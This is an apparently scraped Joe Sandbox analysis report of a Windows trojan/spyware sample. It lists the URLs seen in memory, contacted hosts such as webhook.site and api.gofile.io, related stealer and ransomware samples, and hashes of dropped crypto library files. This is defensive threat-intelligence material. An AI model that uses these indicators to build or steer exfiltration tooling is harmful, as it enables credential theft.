                                                                        https://github.com/Ousret/charset_normalizer4Vp6Xc8SFr.exe, 00000001.00000003.314917714.0000017AC9BE1000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.315569281.0000017AC9BE4000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311130928.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308418666.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://github.com/urllib3/urllib3/issues/4974Vp6Xc8SFr.exe, 00000001.00000002.322185873.0000017AC9BF0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://www.firmaprofesional.com/cps04Vp6Xc8SFr.exe, 00000001.00000003.316788721.0000017AC9F86000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269069124.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326187933.0000017AC9F8A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9F70000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://yahoo.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		low
                                                                              https://netflix.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		low
                                                                              https://gmail.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		low
                                                                              https://origin.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		low
                                                                              http://crl.securetrust.com/STCA.crl04Vp6Xc8SFr.exe, 00000001.00000003.276630575.0000017ACA074000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276560722.0000017ACA055000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • URL Reputation: safe
                                                                              		unknown
                                                                              https://roblox.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		low
                                                                              https://outlook.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		low
                                                                              http://yahoo.com/4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://api.ipify.org4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://hotmail.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		low

                                                                                  World Map of Contacted IPs

                                                                                  • No. of IPs < 25%
                                                                                  • 25% < No. of IPs < 50%
                                                                                  • 50% < No. of IPs < 75%
                                                                                  • 75% < No. of IPs

                                                                                  Public IPs

                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                  46.4.105.116
                                                                                  		webhook.siteGermany
                                                                                  		24940HETZNER-ASDEfalse
                                                                                  64.185.227.155
                                                                                  		api4.ipify.orgUnited States
                                                                                  		18450WEBNXUSfalse
                                                                                  159.89.102.253
                                                                                  		geolocation-db.comUnited States
                                                                                  		14061DIGITALOCEAN-ASNUSfalse
                                                                                  173.231.16.75
                                                                                  		unknownUnited States
                                                                                  		18450WEBNXUSfalse
                                                                                  51.38.43.18
                                                                                  		api.gofile.ioFrance
                                                                                  		16276OVHFRfalse

                                                                                  General Information

                                                                                  Joe Sandbox Version:37.0.0 Beryl
                                                                                  Analysis ID:840711
                                                                                  Start date and time:2023-04-04 09:03:06 +02:00
                                                                                  Joe Sandbox Product:CloudBasic
                                                                                  Overall analysis duration:0h 10m 16s
                                                                                  Hypervisor based Inspection enabled:false
                                                                                  Report type:full
                                                                                  Cookbook file name:default.jbs
                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                  Number of analysed new started processes analysed:13
                                                                                  Number of new started drivers analysed:0
                                                                                  Number of existing processes analysed:0
                                                                                  Number of existing drivers analysed:0
                                                                                  Number of injected processes analysed:0
                                                                                  Technologies:
                                                                                  • HCA enabled
                                                                                  • EGA enabled
                                                                                  • HDC enabled
                                                                                  • AMSI enabled
                                                                                  Analysis Mode:default
                                                                                  Analysis stop reason:Timeout
                                                                                  Sample file name:4Vp6Xc8SFr.exe
                                                                                  Original Sample Name:b91a84a6995cb793ef6417222281295b.exe
                                                                                  Detection:MAL
                                                                                  Classification:mal72.troj.spyw.winEXE@3/103@14/5
                                                                                  EGA Information:
                                                                                  • Successful, ratio: 100%
                                                                                  HDC Information:
                                                                                  • Successful, ratio: 46.9% (good quality ratio 41.8%)
                                                                                  • Quality average: 66.2%
                                                                                  • Quality standard deviation: 32.9%
                                                                                  HCA Information:
                                                                                  • Successful, ratio: 65%
                                                                                  • Number of executed functions: 73
                                                                                  • Number of non-executed functions: 159
                                                                                  Cookbook Comments:
                                                                                  • Found application associated with file extension: .exe

                                                                                  Warnings

                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com
                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                  • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                  • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                  • Report size getting too big, too many NtSetInformationFile calls found.

                                                                                  Simulations

                                                                                  Behavior and APIs

                                                                                  ⊘No simulations

                                                                                  Joe Sandbox View / Context

                                                                                  IPs

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                  46.4.105.116Confidential Letters(Names).xlsGet hashmaliciousUnknownBrowse
                                                                                    64.185.227.155CnsRlvK7Ho.exeGet hashmaliciousTargeted RansomwareBrowse
                                                                                    • api.ipify.org/
                                                                                    aKiefGOIEn.exeGet hashmaliciousTargeted Ransomware, TrojanRansomBrowse
                                                                                    • api.ipify.org/
                                                                                    M74aRxVX4H.exeGet hashmaliciousTargeted Ransomware, TrojanRansomBrowse
                                                                                    • api.ipify.org/
                                                                                    WolcGwXQ5c.exeGet hashmaliciousFicker Stealer, RHADAMANTHYS, Rusty StealerBrowse
                                                                                    • api.ipify.org/?format=wef
                                                                                    XZerken3Py.exeGet hashmaliciousTargeted Ransomware, TrojanRansomBrowse
                                                                                    • api.ipify.org/
                                                                                    xc17rfFdOM.exeGet hashmaliciousFicker Stealer, Rusty StealerBrowse
                                                                                    • api.ipify.org/?format=wef
                                                                                    8Ghi4RAfH5.exeGet hashmaliciousFicker Stealer, Rusty StealerBrowse
                                                                                    • api.ipify.org/?format=wef
                                                                                    fb623f4ae4dcaa007cac4365aa3ce13526ae32b94f2d9.exeGet hashmaliciousFicker Stealer, Rusty StealerBrowse
                                                                                    • api.ipify.org/?format=wef
                                                                                    file.exeGet hashmaliciousFicker Stealer, Rusty StealerBrowse
                                                                                    • api.ipify.org/?format=wef
                                                                                    48PTRR4pVY.exeGet hashmaliciousFicker Stealer, Rusty StealerBrowse
                                                                                    • api.ipify.org/?format=qwd

                                                                                    Domains

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    api4.ipify.orgProduct_Specification.exeGet hashmaliciousAgentTesla, zgRATBrowse
                                                                                    • 173.231.16.75
                                                                                    IMG_62100_41600pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 173.231.16.75
                                                                                    ORD_751210_xls.bat.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                    • 104.237.62.211
                                                                                    DOCS .HTMLGet hashmaliciousUnknownBrowse
                                                                                    • 104.237.62.211
                                                                                    dfdsMNGdwy.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 173.231.16.75
                                                                                    RFQ_NO_012594.exeGet hashmaliciousAgentTesla, zgRATBrowse
                                                                                    • 104.237.62.211
                                                                                    rNewPOSPL036570_pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 64.185.227.155
                                                                                    HSBC_payment_receipt_confirmation.exeGet hashmaliciousAgentTesla, AveMaria, zgRATBrowse
                                                                                    • 64.185.227.155
                                                                                    CT12#_TC-WI-60.exeGet hashmaliciousAgentTesla, zgRATBrowse
                                                                                    • 173.231.16.75
                                                                                    DHL_AWB_NO_#AWB_4507558646.exeGet hashmaliciousAgentTesla, zgRATBrowse
                                                                                    • 64.185.227.155
                                                                                    Request_For_Quotation.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 173.231.16.75
                                                                                    j3F23QoLs3.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 64.185.227.155
                                                                                    LOS_No_140491194.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 104.237.62.211
                                                                                    bgsZRgkOtW.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 104.237.62.211
                                                                                    IhJrdQePlw.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                    • 173.231.16.76
                                                                                    kf17iplRSU.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                    • 64.185.227.155
                                                                                    Kh4p0pc338.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 173.231.16.76
                                                                                    YkaLDEBgaR.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 64.185.227.155
                                                                                    915YHnUOC7.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 173.231.16.76
                                                                                    TT_Copy.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 173.231.16.76

                                                                                    ASNs

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    HETZNER-ASDECerere_de_ofert#U0103_(Universitatea_din_Oradea)_Eui894_-_CRO633.exeGet hashmaliciousRemcosBrowse
                                                                                    • 144.76.136.153
                                                                                    W3XuVXuNsq.exeGet hashmaliciousRedLineBrowse
                                                                                    • 138.201.195.134
                                                                                    axnxNq0T48.exeGet hashmaliciousSocelarsBrowse
                                                                                    • 148.251.234.93
                                                                                    dhoqqNkrsH.exeGet hashmaliciousSocelarsBrowse
                                                                                    • 148.251.234.83
                                                                                    2DPFbiYRDr.exeGet hashmaliciousSocelarsBrowse
                                                                                    • 148.251.234.83
                                                                                    XpxIW5xINj.exeGet hashmaliciousSocelarsBrowse
                                                                                    • 148.251.234.83
                                                                                    eSsWozB98q.exeGet hashmaliciousSocelarsBrowse
                                                                                    • 148.251.234.93
                                                                                    ORD_751210_xls.bat.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                    • 136.243.82.137
                                                                                    AA_v3.exeGet hashmaliciousFlawedAmmyyBrowse
                                                                                    • 136.243.104.242
                                                                                    39AZBSx409.exeGet hashmaliciousRedLineBrowse
                                                                                    • 116.203.35.84
                                                                                    setup.exeGet hashmaliciousBabuk, Clipboard Hijacker, Djvu, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousClipboard Hijacker, Djvu, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousClipboard Hijacker, Djvu, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousClipboard Hijacker, Djvu, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousBabuk, Clipboard Hijacker, Djvu, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousBabuk, Clipboard Hijacker, Djvu, HTMLPhisher, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousClipboard Hijacker, Djvu, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousClipboard Hijacker, Djvu, HTMLPhisher, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousClipboard Hijacker, Djvu, HTMLPhisher, VidarBrowse
                                                                                    • 78.47.168.170
                                                                                    setup.exeGet hashmaliciousBabuk, Clipboard Hijacker, Djvu, HTMLPhisher, Vidar, ZorabBrowse
                                                                                    • 78.47.168.170

                                                                                    JA3 Fingerprints

                                                                                    ⊘No context

                                                                                    Dropped Files

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_ARC4.pydNk77hIlehl.exeGet hashmaliciousUnknownBrowse
                                                                                      Nk77hIlehl.exeGet hashmaliciousUnknownBrowse
                                                                                        Nk77hIlehl.exeGet hashmaliciousUnknownBrowse
                                                                                          UQqngcmYAa.exeGet hashmaliciousUnknownBrowse
                                                                                            AntiMalwareToolkit.exeGet hashmaliciousUnknownBrowse
                                                                                              AdvancedESETScanner.exeGet hashmaliciousUnknownBrowse
                                                                                                CX3kyBhxm9.exeGet hashmaliciousUnknownBrowse
                                                                                                  whatsapp.exeGet hashmaliciousUnknownBrowse
                                                                                                    H4BAVQrUZ8.exeGet hashmaliciousUnknownBrowse
                                                                                                      .........vbsGet hashmaliciousUnknownBrowse
                                                                                                        av.exeGet hashmaliciousCobaltStrikeBrowse
                                                                                                          redkeeper.exeGet hashmaliciousUnknownBrowse
                                                                                                            Toka Locker.exeGet hashmaliciousUnknownBrowse
                                                                                                              updx64.exeGet hashmaliciousCobaltStrikeBrowse
                                                                                                                laZagne.exeGet hashmaliciousLaZagne, MimikatzBrowse
                                                                                                                  kendrick.exeGet hashmaliciousUnknownBrowse
                                                                                                                    Installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                      Installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                        game_installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                          it.exeGet hashmaliciousUnknownBrowse

                                                                                                                            Created / dropped Files

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_ARC4.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):22016
                                                                                                                            Entropy (8bit):5.437131874157128
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:384:0p3KLVilCS9HOxmbUDy3N4vYfjvtddOnGyL36SlH:0ULV9zw4vSB4fLK
                                                                                                                            MD5:211277A44CAC7C71FA844E9D156B9F6D
                                                                                                                            SHA1:573C4668088AA8B114F601E0863F6587A59ABA4B
                                                                                                                            SHA-256:4347B2AB52AF042670BD9DC2AC2F15B2487980E92E523DA0641B8287D8816CE6
                                                                                                                            SHA-512:F7787B3BEF88C28DCECEF7F6C1D38056EA61FCF22614357C00382BECFBBC1EDDE3BF896CB933076F3BD2E14E06CC9573D32797AE6366E654315B217FC5B336B1
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Joe Sandbox View:
                                                                                                                            • Filename: Nk77hIlehl.exe, Detection: malicious, Browse
                                                                                                                            • Filename: Nk77hIlehl.exe, Detection: malicious, Browse
                                                                                                                            • Filename: Nk77hIlehl.exe, Detection: malicious, Browse
                                                                                                                            • Filename: UQqngcmYAa.exe, Detection: malicious, Browse
                                                                                                                            • Filename: AntiMalwareToolkit.exe, Detection: malicious, Browse
                                                                                                                            • Filename: AdvancedESETScanner.exe, Detection: malicious, Browse
                                                                                                                            • Filename: CX3kyBhxm9.exe, Detection: malicious, Browse
                                                                                                                            • Filename: whatsapp.exe, Detection: malicious, Browse
                                                                                                                            • Filename: H4BAVQrUZ8.exe, Detection: malicious, Browse
                                                                                                                            • Filename: .........vbs, Detection: malicious, Browse
                                                                                                                            • Filename: av.exe, Detection: malicious, Browse
                                                                                                                            • Filename: redkeeper.exe, Detection: malicious, Browse
                                                                                                                            • Filename: Toka Locker.exe, Detection: malicious, Browse
                                                                                                                            • Filename: updx64.exe, Detection: malicious, Browse
                                                                                                                            • Filename: laZagne.exe, Detection: malicious, Browse
                                                                                                                            • Filename: kendrick.exe, Detection: malicious, Browse
                                                                                                                            • Filename: Installer.exe, Detection: malicious, Browse
                                                                                                                            • Filename: Installer.exe, Detection: malicious, Browse
                                                                                                                            • Filename: game_installer.exe, Detection: malicious, Browse
                                                                                                                            • Filename: it.exe, Detection: malicious, Browse
                                                                                                                            Reputation:moderate, very likely benign file
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...M...M...M...?...M..5...M..5...M..5...M...5]..M...M...M..7...M..7...M..71..M..7...M..Rich.M..................PE..d...i`.b.........." ... .&...2......`.....................................................`......................................... Y.......Y..d............p.................. ....R..............................@Q..@............@..`............................text....%.......&.................. ..`.rdata.......@... ...*..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@_RDATA..\............P..............@..@.rsrc................R..............@..@.reloc.. ............T..............@..B................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_Salsa20.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):24576
                                                                                                                            Entropy (8bit):5.555944490067887
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:384:0tH7LVilCS9HOxmbUDy3nuLIJ4KvYf0IqddOHGyL366lH:0xLV9z0EI6KvSy4fLK
                                                                                                                            MD5:20B7C6271603BC7C2087B2E589B51EF3
                                                                                                                            SHA1:1D478B8FACAE3532F3F384FCAF486F9F005873FC
                                                                                                                            SHA-256:433310A5FDC3DF5F19F905237751156001C69D7805789D6178C6ACBB31E90105
                                                                                                                            SHA-512:B2D42DC96AA955E92A942F65FC5C2BE964BC6D5EA4CF9F1B6C695BDE3287A960915F84D3CF8B6BA8C224BA6B268D1F3A0F624E139313925A4644A8911D8D159A
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Reputation:moderate, very likely benign file
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...M...M...M...?...M..5...M..5...M..5...M...5]..M...M...M..7...M..7...M..71..M..7...M..Rich.M..................PE..d...i`.b.........." ... .0...2......`.....................................................`..........................................Y......XZ..d............p.................. ....R..............................`Q..@............@..`............................text... ........0.................. ..`.rdata.......@... ...4..............@..@.data........`.......T..............@....pdata.......p.......V..............@..@_RDATA..\............Z..............@..@.rsrc................\..............@..@.reloc.. ............^..............@..B................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_chacha20.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):24576
                                                                                                                            Entropy (8bit):5.472386215099601
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:384:0ZH7LVilCS9HOxmbUDy3Ayr9mXEvYfPxem97ddOHGyL36GLZlH:0dLV9z5yrYEvSPp974fLKGL
                                                                                                                            MD5:3816FAEFB26DCBC3E351DB6AFBD0B774
                                                                                                                            SHA1:441FC6E3E004FFAE7C038CEDFC26CD624DC8316E
                                                                                                                            SHA-256:1E20F6D84838619AF92DE88355E9E76996E7346152E9179098AE7A5E72425141
                                                                                                                            SHA-512:8BB3302FE4983F2B8BE094F8ADD7D1E4F476632581C0E4755D0FB1651DEAC14339AC28DF050C59EA433ACBD9BF6CAF51488466B88FA538FF6593FC2C7D6673D6
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Reputation:moderate, very likely benign file
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...M...M...M...?...M..5...M..5...M..5...M...5]..M...M...M..7...M..7...M..71..M..7...M..Rich.M..................PE..d...i`.b.........." ... .....4......`.....................................................`..........................................Y......|Z..d............p.................. ....R..............................@Q..@............@..`............................text....,.......................... ..`.rdata.......@... ...2..............@..@.data........`.......R..............@....pdata.......p.......T..............@..@_RDATA..\............Z..............@..@.rsrc................\..............@..@.reloc.. ............^..............@..B................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_pkcs1_decode.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):24064
                                                                                                                            Entropy (8bit):5.521501530336399
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:384:0Kn5LVilySNHG1WbcDfi8nJ3G4RBvYfyuMddOrGyL367t:0KLVJb17BvSkkfLK
                                                                                                                            MD5:ADDD92647204366DF68667E42182A934
                                                                                                                            SHA1:26A26DAE942C32782A3EA5BDB8AB9BC1529A341A
                                                                                                                            SHA-256:F54CEBED8650C5274E81A4569708A0346DE560B89F1862DAD0E2CCB0D4D12043
                                                                                                                            SHA-512:A88F6DEA1DF5DB79984570C5A48BB31555042C3589C8D84A5C930F5EBD1BFFA4B97C3F1C87C77A83147C4F030D1FB01C465622F70C0C694814C1E8BEAD5994BC
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Reputation:moderate, very likely benign file
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...M...M...M...?...M..5...M..5...M..5...M...5]..M...M...M..7...M..7...M..71..M..7...M..Rich.M..................PE..d...f`.b.........." ... .....2......`.....................................................`......................................... Y..p....Y..d............p.................. ....R..............................@Q..@............@..h............................text....,.......................... ..`.rdata.......@... ...2..............@..@.data........`.......R..............@....pdata.......p.......T..............@..@_RDATA..\............X..............@..@.rsrc................Z..............@..@.reloc.. ............\..............@..B................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_aes.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):47616
                                                                                                                            Entropy (8bit):6.469038537459305
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:768:0FAp9DqzYFk3m3xAmzA2aXKKJO1oS3S4j990th9Vi8HAbC:0FAp9OC7vKKoqS430r9ob
                                                                                                                            MD5:E59AE32AF366ED8A93B875517AEE9AFC
                                                                                                                            SHA1:50230C4FE4A70F0440E0D072703E460DD4C8D229
                                                                                                                            SHA-256:67DD4F1547145355726E07769BC30BDC5CD7A559F80E3B35CC095E462D2124E3
                                                                                                                            SHA-512:768C71CB389B300AD2CD2067B43227455AC68D72EB8581543261FDB8652544DC4E0AF56B5180EC4337B870DDECB5BFDA82C1A5234946AB1610D586F2FB2596E0
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...M...M...M...?...M..5...M..5...M..5...M...5]..M...M...M..7...M..7...M..71..M..7...M..Rich.M..................PE..d...d`.b.........." ... .^...^......`.....................................................`.........................................P..........d...............h...............(...................................p...@............p..`............................text....\.......^.................. ..`.rdata...H...p...J...b..............@..@.data...............................@....pdata..h...........................@..@_RDATA..\...........................@..@.rsrc...............................@..@.reloc..(...........................@..B................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_aesni.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):26624
                                                                                                                            Entropy (8bit):5.534416327058214
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:384:rvhYRs9JIijn6+B7U2GUK4LsmXB02vbU1UiT5Yf0JciddOVYUyLa5h:rZO0JlTGvIqv1UiVSKmYUyLa
                                                                                                                            MD5:74754F8EFA859912E8BF19C4DFA205B3
                                                                                                                            SHA1:B40B5277C67050C843C42EA6DE40333127F0448F
                                                                                                                            SHA-256:1FE62525DE39118C28C06C5DEE73340B451B1BF5EF989067FEBDAD86F0C20238
                                                                                                                            SHA-512:8A9122C7505D2DAFE1EFF74F26FA9FABAE638503011AC4AF04F270973BAD080880D611F30E577D748412DCA031D347CB431154E18FA0F882F62EA9CF477B3E5C
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:...[...[...[...)...[..#...[..#...[..#...[...#]..[...[...[..!...[..!...[..!1..[..!...[..Rich.[..........................PE..d...d`.b.........." ... .4...8......`.....................................................`..........................................j......4k..d...............t....................b..............................Pa..@............P..x............................text...@2.......4.................. ..`.rdata... ...P..."...8..............@..@.data................Z..............@....pdata..t............\..............@..@_RDATA..\............b..............@..@.rsrc................d..............@..@.reloc...............f..............@..B........................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_arc2.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):27648
                                                                                                                            Entropy (8bit):5.752190960062965
                                                                                                                            Encrypted:false
                                                                                                                            SSDEEP:384:0RBfprp4CYnehG7GFM2iHsZ0AzhmB4VzCYfWPBQByddOUDvT1H:0jRp9tFlNMBAmSWJzDv
                                                                                                                            MD5:C0D82A57A3DB014E2590B3EAB1413475
                                                                                                                            SHA1:3B469233E7082BC9A8BAAD89E0BE07F34AD9EA3B
                                                                                                                            SHA-256:DB1ADB0D8476A67471B9E736C249933F138BD08522586243D1BD258A6D19FA9B
                                                                                                                            SHA-512:77A346E57094735F98E64E547C6724DB7F7B0DD36F63305D348307221F797E357767D489F956843B0403EE30D9FBEF6E048C8607689490F0F6D9164C941275D0
                                                                                                                            Malicious:false
                                                                                                                            Antivirus:
                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...M...M...M...?...M..5...M..5...M..5...M...5]..M...M...M..7...M..7...M..71..M..7...M..Rich.M..................PE..d...d`.b.........." ... .8...6......`.....................................................`..........................................k.......k..d...............8............... ....c..............................@b..@............P..`............................text...p7.......8.................. ..`.rdata... ...P..."...<..............@..@.data................^..............@....pdata..8............`..............@..@_RDATA..\............f..............@..@.rsrc................h..............@..@.reloc.. ............j..............@..B................................................................................................................................................................................................................

                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_blowfish.pyd

                                                                                                                            Download File
                                                                                                                            Process:C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                            Category:dropped
                                                                                                                            Size (bytes):32256
                                                                                                                            Entropy (8bit):6.056714851444524
                                                                                                                            Encrypted:false
